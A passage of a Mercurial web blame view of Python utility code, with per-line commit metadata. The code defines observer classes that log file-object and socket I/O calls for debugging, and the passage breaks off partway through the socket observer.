759 if res is None: |
26a6b62919e2
util: work around Python 3 returning None at EOF instead of ''
Augie Fackler <augie@google.com>
parents:
36584
diff
changeset
|
760 res = '' |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
761 |
38314
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
762 if size == -1 and res == '': |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
763 # Suppress pointless read(-1) calls that return |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
764 # nothing. These happen _a lot_ on Python 3, and there |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
765 # doesn't seem to be a better workaround to have matching |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
766 # Python 2 and 3 behavior. :( |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
767 return |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
768 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
769 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
770 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res))) |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
771 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
772 self._writedata(res) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
773 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
774 def readline(self, res, limit=-1): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
775 if not self.reads: |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
776 return |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
777 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
778 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
779 self.fh.write('%s> readline() -> %d' % (self.name, len(res))) |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
780 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
781 self._writedata(res) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
782 |
36630
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
783 def readinto(self, res, dest): |
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
784 if not self.reads: |
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
785 return |
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
786 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
787 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
788 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest), |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
789 res)) |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
790 |
36630
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
791 data = dest[0:res] if res is not None else b'' |
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
792 self._writedata(data) |
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
793 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
794 def write(self, res, data): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
795 if not self.writes: |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
796 return |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
797 |
36631
8395fddde46c
util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36630
diff
changeset
|
798 # Python 2 returns None from some write() calls. Python 3 (reasonably) |
8395fddde46c
util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36630
diff
changeset
|
799 # returns the integer bytes written. |
8395fddde46c
util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36630
diff
changeset
|
800 if res is None and data: |
8395fddde46c
util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36630
diff
changeset
|
801 res = len(data) |
8395fddde46c
util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36630
diff
changeset
|
802 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
803 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
804 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res)) |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
805 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
806 self._writedata(data) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
807 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
808 def flush(self, res): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
809 if not self.writes: |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
810 return |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
811 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
812 self.fh.write('%s> flush() -> %r\n' % (self.name, res)) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
813 |
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
814 # For observedbufferedinputpipe. |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
815 def bufferedread(self, res, size): |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
816 if not self.reads: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
817 return |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
818 |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
819 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
820 self.fh.write('%s> bufferedread(%d) -> %d' % ( |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
821 self.name, size, len(res))) |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
822 |
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
823 self._writedata(res) |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
824 |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
825 def bufferedreadline(self, res): |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
826 if not self.reads: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
827 return |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
828 |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
829 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
830 self.fh.write('%s> bufferedreadline() -> %d' % ( |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
831 self.name, len(res))) |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
832 |
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
833 self._writedata(res) |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
834 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
835 def makeloggingfileobject(logh, fh, name, reads=True, writes=True, |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
836 logdata=False, logdataapis=True): |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
837 """Turn a file object into a logging file object.""" |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
838 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
839 observer = fileobjectobserver(logh, name, reads=reads, writes=writes, |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
840 logdata=logdata, logdataapis=logdataapis) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
841 return fileobjectproxy(fh, observer) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
842 |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
843 class socketobserver(baseproxyobserver): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
844 """Logs socket activity.""" |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
845 def __init__(self, fh, name, reads=True, writes=True, states=True, |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
846 logdata=False, logdataapis=True): |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
847 self.fh = fh |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
848 self.name = name |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
849 self.reads = reads |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
850 self.writes = writes |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
851 self.states = states |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
852 self.logdata = logdata |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
853 self.logdataapis = logdataapis |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
854 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
855 def makefile(self, res, mode=None, bufsize=None): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
856 if not self.states: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
857 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
858 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
859 self.fh.write('%s> makefile(%r, %r)\n' % ( |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
860 self.name, mode, bufsize)) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
861 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
862 def recv(self, res, size, flags=0): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
863 if not self.reads: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
864 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
865 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
866 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
867 self.fh.write('%s> recv(%d, %d) -> %d' % ( |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
868 self.name, size, flags, len(res))) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
869 self._writedata(res) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
870 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
871 def recvfrom(self, res, size, flags=0): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
872 if not self.reads: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
873 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
874 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
875 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
876 self.fh.write('%s> recvfrom(%d, %d) -> %d' % ( |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
877 self.name, size, flags, len(res[0]))) |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
878 |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
879 self._writedata(res[0]) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
880 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
881 def recvfrom_into(self, res, buf, size, flags=0): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
882 if not self.reads: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
883 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
884 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
885 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
886 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % ( |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
887 self.name, size, flags, res[0])) |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
888 |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
889 self._writedata(buf[0:res[0]]) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
890 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
891 def recv_into(self, res, buf, size=0, flags=0): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
892 if not self.reads: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
893 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
894 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
895 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
896 self.fh.write('%s> recv_into(%d, %d) -> %d' % ( |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
897 self.name, size, flags, res)) |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
898 |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
899 self._writedata(buf[0:res]) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
900 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
901 def send(self, res, data, flags=0): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
902 if not self.writes: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
903 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
904 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
905 self.fh.write('%s> send(%d, %d) -> %d' % ( |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
906 self.name, len(data), flags, len(res))) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
907 self._writedata(data) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
908 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
909 def sendall(self, res, data, flags=0): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
910 if not self.writes: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
911 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
912 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
913 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
914 # Returns None on success. So don't bother reporting return value. |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
915 self.fh.write('%s> sendall(%d, %d)' % ( |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
916 self.name, len(data), flags)) |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
917 |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
918 self._writedata(data) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
919 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
920 def sendto(self, res, data, flagsoraddress, address=None): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
921 if not self.writes: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
922 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
923 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
924 if address: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
925 flags = flagsoraddress |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
926 else: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
927 flags = 0 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
928 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
929 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
930 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % ( |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
931 self.name, len(data), flags, address, res)) |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
932 |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
933 self._writedata(data) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
934 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
935 def setblocking(self, res, flag): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
936 if not self.states: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
937 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
938 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
939 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag)) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
940 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
941 def settimeout(self, res, value): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
942 if not self.states: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
943 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
944 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
945 self.fh.write('%s> settimeout(%r)\n' % (self.name, value)) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
946 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
947 def gettimeout(self, res): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
948 if not self.states: |
8453699a1f21
